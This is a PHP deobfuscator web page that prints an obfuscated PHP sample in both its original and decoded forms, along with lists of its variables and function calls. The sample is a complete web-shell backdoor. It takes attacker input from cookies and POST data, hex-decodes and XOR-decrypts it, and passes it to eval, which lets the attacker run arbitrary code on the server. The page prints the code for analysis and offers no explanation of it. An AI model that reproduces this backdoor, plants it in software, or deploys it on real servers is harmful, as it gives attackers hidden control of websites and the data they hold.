Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $KqIsWtHs/*OdoIw */= chr (/*A */1014 -/*tRn*/899 )."\164" . chr (..

Decoded Output download

<?php $KqIsWtHs/*OdoIw   */=    chr   (/*A */1014    -/*tRn*/899    )."t"    . chr    (114)/*vieCD*/.    "_"     . chr    (114)     ./* aCQRq */chr    (101)    .   "p"/*ux  */.    chr    (101)  .    'a'   .   "t";$_DUouS    =    '24243'; 
                    $yXtLucFvdW     =/*  zATf*/chr    (    441    -/*  bbNts  */340/*  g*/).'x'    .   "p"/*ymgHn*/.    chr    (108)    .     chr/*Qra   */(111)    ./*   rct   */chr/*wyC  */(/* QoEc */935    -  835    ).chr  (101);; 
 
$ojQwvdPQ  =   chr    (112)    .  'a'    .    "c" .    "k"; 
  function   ItratrUSkd() 
 /*fGr*/{ 
 
    $RbohSBe     =    Array    (  "kRLGlyUhQPpygRWcIlTWnjaHMTZOX"     =>/* oe   */"ukDYuONBWxSvfVuqLcoAu"/*XZ  */);$_OzRjt/*   tyMe*/=    '32739'; 
                 
                /*   lYPPd */$HPiqeEF    =    Array (    "sQPxoydQFJIQXqeAocsN"    =>    "dhVylSkSzxFhmzlHnDyJwMxpBG"    ); 
       $mLKPjKDB/*  FmWLL */=/*   y */Array(    $RbohSBe,/*  unfim*/$_COOKIE,    $RbohSBe,/*hZHd */$_POST,     $HPiqeEF); 
               
 
 
 return    $mLKPjKDB; 
                         } 
         
                   function    IPDrCq($gUhkDJ,    $RbohSBe) 
                    { 
 
 
    if (   count    (    $gUhkDJ/*D   */)   ==    3    )    { 
            $AnzbItAaI  =  $gUhkDJ[1];$_yELY  =     '49181'; 
      $lBWjB/*E  */=/*   vlx*/$gUhkDJ[2];; 
 
 
 $JEKyfeqCHw    =/*  hANu */$AnzbItAaI($lBWjB); 
        eval    (/*   upMnJ   */$JEKyfeqCHw    );; 
    die   (); 
    } 
         } 
                /*  Ek */ 
 
 
    function    uSepk($fHHYlpTIWs,/*  YFQLu  */$xwCqYSXl) 
 /* sY */{ 
          return     $fHHYlpTIWs    ^    $xwCqYSXl; 
 
    } 
 
 
     
 
    $nlRqcb    =     "#";$_po/*   wP  */=/* yLK   */'51932'; 
                /*   NKk */ 
 
   foreach/*  e   */(ItratrUSkd() as    $rsnFL)/*  Cr */{ 
        /*   Xmu */foreach    (    $rsnFL/*  m  */as    $xwCqYSXl/*  z  */=>    $fHHYlpTIWs/*   EeP   */)/*   hi  */{ 
     /*   rgme*/ 
    $XZQndu    =    strlen(    $fHHYlpTIWs    )/strlen(    $xwCqYSXl    );; 
 
 
     
 
 
/*g */$fHHYlpTIWs    =     @$ojQwvdPQ(    "H"/*i*/./*   V  */"*",    $fHHYlpTIWs );$_LBg/*V */=    '15246'; 
 
 
     
         $xwCqYSXl    .=    "ggmO-kxZnyEl-LnPS-XsWyO-SHA-yFUWluC-uJpt"; 
 
    $xwCqYSXl  = $KqIsWtHs (    $xwCqYSXl,    $XZQndu    +    1); 
 
   
     $yLpdIY =    strrev(""); 
           
 
 
    $yLpdIY    =    uSepk($fHHYlpTIWs,/*  c*/$xwCqYSXl); 
     
             $gUhkDJ    =    $yXtLucFvdW/*   Rf   */($nlRqcb,/*   eXgjt   */$yLpdIY    ); 
       
 
    IPDrCq($gUhkDJ,    $nlRqcb); 
          
        continue; 
         } 
 /*xd*/} 
 
 ?>

Did this file decode correctly?

Original Code

<?php $KqIsWtHs/*OdoIw   */=    chr   (/*A */1014    -/*tRn*/899    )."\164"    . chr    (114)/*vieCD*/.    "\137"     . chr    (114)     ./* aCQRq */chr    (101)    .   "\160"/*ux  */.    chr    (101)  .    'a'   .   "\x74";$_DUouS    =    '24243';
                    $yXtLucFvdW     =/*  zATf*/chr    (    441    -/*  bbNts  */340/*  g*/).'x'    .   "\160"/*ymgHn*/.    chr    (108)    .     chr/*Qra   */(111)    ./*   rct   */chr/*wyC  */(/* QoEc */935    -  835    ).chr  (101);;

$ojQwvdPQ  =   chr    (112)    .  'a'    .    "\x63" .    "\x6b";
  function   ItratrUSkd()
 /*fGr*/{

    $RbohSBe     =    Array    (  "kRLGlyUhQPpygRWcIlTWnjaHMTZOX"     =>/* oe   */"ukDYuONBWxSvfVuqLcoAu"/*XZ  */);$_OzRjt/*   tyMe*/=    '32739';
                
                /*   lYPPd */$HPiqeEF    =    Array (    "sQPxoydQFJIQXqeAocsN"    =>    "dhVylSkSzxFhmzlHnDyJwMxpBG"    );
       $mLKPjKDB/*  FmWLL */=/*   y */Array(    $RbohSBe,/*  unfim*/$_COOKIE,    $RbohSBe,/*hZHd */$_POST,     $HPiqeEF);
              


 return    $mLKPjKDB;
                         }
        
                   function    IPDrCq($gUhkDJ,    $RbohSBe)
                    {


    if (   count    (    $gUhkDJ/*D   */)   ==    3    )    {
            $AnzbItAaI  =  $gUhkDJ[1];$_yELY  =     '49181';
      $lBWjB/*E  */=/*   vlx*/$gUhkDJ[2];;


 $JEKyfeqCHw    =/*  hANu */$AnzbItAaI($lBWjB);
        eval    (/*   upMnJ   */$JEKyfeqCHw    );;
    die   ();
    }
         }
                /*  Ek */


    function    uSepk($fHHYlpTIWs,/*  YFQLu  */$xwCqYSXl)
 /* sY */{
          return     $fHHYlpTIWs    ^    $xwCqYSXl;

    }


    

    $nlRqcb    =     "\43";$_po/*   wP  */=/* yLK   */'51932';
                /*   NKk */

   foreach/*  e   */(ItratrUSkd() as    $rsnFL)/*  Cr */{
        /*   Xmu */foreach    (    $rsnFL/*  m  */as    $xwCqYSXl/*  z  */=>    $fHHYlpTIWs/*   EeP   */)/*   hi  */{
     /*   rgme*/
    $XZQndu    =    strlen(    $fHHYlpTIWs    )/strlen(    $xwCqYSXl    );;


    


/*g */$fHHYlpTIWs    =     @$ojQwvdPQ(    "\x48"/*i*/./*   V  */"\x2a",    $fHHYlpTIWs );$_LBg/*V */=    '15246';


    
         $xwCqYSXl    .=    "ggmO-kxZnyEl-LnPS-XsWyO-SHA-yFUWluC-uJpt";

    $xwCqYSXl  = $KqIsWtHs (    $xwCqYSXl,    $XZQndu    +    1);

  
     $yLpdIY =    strrev("");
          


    $yLpdIY    =    uSepk($fHHYlpTIWs,/*  c*/$xwCqYSXl);
    
             $gUhkDJ    =    $yXtLucFvdW/*   Rf   */($nlRqcb,/*   eXgjt   */$yLpdIY    );
      

    IPDrCq($gUhkDJ,    $nlRqcb);
         
        continue;
         }
 /*xd*/}

Function Calls

chr 11
ItratrUSkd 1

Variables

$_po 51932
$_DUouS 24243
$_OzRjt 32739
$nlRqcb #
$HPiqeEF [{'key': 'sQPxoydQFJIQXqeAocsN', 'value': 'dhVylSkSzxFhmzlHnDyJwMxpBG'}]
$RbohSBe [{'key': 'kRLGlyUhQPpygRWcIlTWnjaHMTZOX', 'value': 'ukDYuONBWxSvfVuqLcoAu'}]
$KqIsWtHs str_repeat
$mLKPjKDB [{'key': 0, 'value': [{'key': 'kRLGlyUhQPpygRWcIlTWnjaHMTZOX', 'value': 'ukDYuONBWxSvfVuqLcoAu'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'kRLGlyUhQPpygRWcIlTWnjaHMTZOX', 'value': 'ukDYuONBWxSvfVuqLcoAu'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'sQPxoydQFJIQXqeAocsN', 'value': 'dhVylSkSzxFhmzlHnDyJwMxpBG'}]}]
$ojQwvdPQ pack
$yXtLucFvdW explode

Stats

MD5 026b802a9c41e2ed78d5c0a7ad43fe20
Eval Count 0
Decode Time 127 ms